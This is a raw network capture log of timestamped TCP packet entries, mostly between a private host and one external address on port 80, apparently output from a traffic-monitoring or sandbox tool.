Nov 20, 2024 16:50:58.635396957 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.635921955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.635987043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.636655092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.636718988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.636861086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.636877060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.636912107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.636921883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.638200045 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.638267994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.640193939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.640276909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.643248081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643265963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643279076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643291950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643307924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.643343925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.643369913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643451929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.643635988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.643790960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.644330025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.644548893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.644864082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.644913912 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.645236015 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.645251036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.645293951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.646159887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.646214962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.646991014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.647006989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.647018909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.647049904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.647068024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.647341967 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.648170948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.648197889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.648241997 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.648829937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.648943901 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.648998022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.649050951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.649851084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.649909019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.649976969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.650177956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.650835991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.650921106 CET	49806	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.650974989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.650990963 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.650995970 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.651004076 CET	443	49804	13.107.246.40	192.168.2.9
Nov 20, 2024 16:50:58.651048899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.651705027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.651761055 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.651865005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.651933908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.652611971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.652676105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653004885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653048038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653208971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653222084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653250933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653270960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653284073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653302908 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653315067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653326035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653338909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653376102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653398991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653433084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.653554916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.653620958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.654315948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.654376030 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.654416084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.654495955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.655282021 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.655343056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.655486107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.655538082 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.656186104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.656199932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.656235933 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.657078981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.657135010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.657224894 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.657298088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.658087969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.658133984 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.658314943 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.658449888 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.659193039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.659208059 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.659241915 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.659260988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.659935951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.660000086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.660562992 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.660610914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.660782099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.660825968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.660856962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.661086082 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.661731958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.661820889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.661870003 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.662595987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.662658930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.663117886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.663182020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.663511038 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.663580894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.663701057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.663820028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.664575100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.664628983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.665002108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.665065050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.665343046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.665421009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.665548086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.665591002 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.666275978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.666327953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.666373968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.666414976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.667186975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.667256117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.667287111 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.667503119 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.668149948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.668205976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.668325901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.668478966 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.669028044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.669087887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.669419050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.669481993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.669934988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.669989109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.670130014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.670315027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.670885086 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.670943022 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.671493053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.671535969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.671798944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.671916008 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.672036886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.672076941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.672719002 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.672763109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.673379898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.673540115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.673651934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.673733950 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.673783064 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.674525976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.674583912 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.674611092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.674658060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.675509930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.675564051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.675843000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.676358938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.676433086 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.697952986 CET	49804	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:50:58.823048115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.823118925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.823354959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.823400021 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.823528051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.823542118 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.823569059 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.823592901 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.824275970 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.824323893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.824445009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.824583054 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.825282097 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.825330019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.825443983 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.825484991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.825661898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.825676918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.825715065 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.826750040 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.826769114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.826797962 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.826822996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.827703953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.827814102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.827852964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.827934980 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.828511953 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.828671932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.828685045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.828711987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.829561949 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.829644918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.829693079 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.829735041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.830085039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830105066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830116987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830131054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830137968 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.830143929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830159903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830166101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.830200911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.830413103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830502033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.830547094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.831270933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.831391096 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.831569910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.831615925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.832115889 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.832173109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.832180023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.832216978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.833045959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.833105087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.833126068 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.833184004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.833758116 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.833802938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.833858967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.833913088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.834660053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.834702015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.834882975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.834933996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.835557938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.835587025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.835633993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.836471081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.836540937 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.836549997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.836601973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.837567091 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.837605000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.837735891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.837786913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.838345051 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.838426113 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.838448048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.838490009 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.839231968 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.839303017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.839374065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.839417934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.840286016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.840339899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.840424061 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.840500116 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.841196060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.841253996 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.841464043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.841509104 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.842047930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.842173100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.842226982 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.843029976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.843097925 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.843103886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.843291044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.843875885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.843940973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.844399929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.844444990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.844840050 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.844882965 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.844968081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.845027924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.845740080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.845794916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.845820904 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.845880032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.846627951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.846687078 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.846765041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.846803904 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.847770929 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.847821951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.847963095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.848140955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.848495960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.848555088 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.848731041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.848783016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.849189043 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:58.849493980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.849538088 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.849567890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.849598885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.850821972 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:58.850892067 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:58.850961924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.851102114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.851119041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.851151943 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.851289988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.851327896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.851442099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.851484060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.852083921 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:58.852102995 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:58.852283001 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.852335930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.852338076 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.852798939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.853034973 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.853091955 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.853156090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.853236914 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.853991032 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.854053020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.854055882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.854095936 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.855421066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.855468988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.855500937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.855703115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.856148958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.856162071 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.856205940 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.856862068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.856915951 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.856924057 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.856969118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:58.857719898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:58.857793093 CET	49752	80	192.168.2.9	185.215.113.206
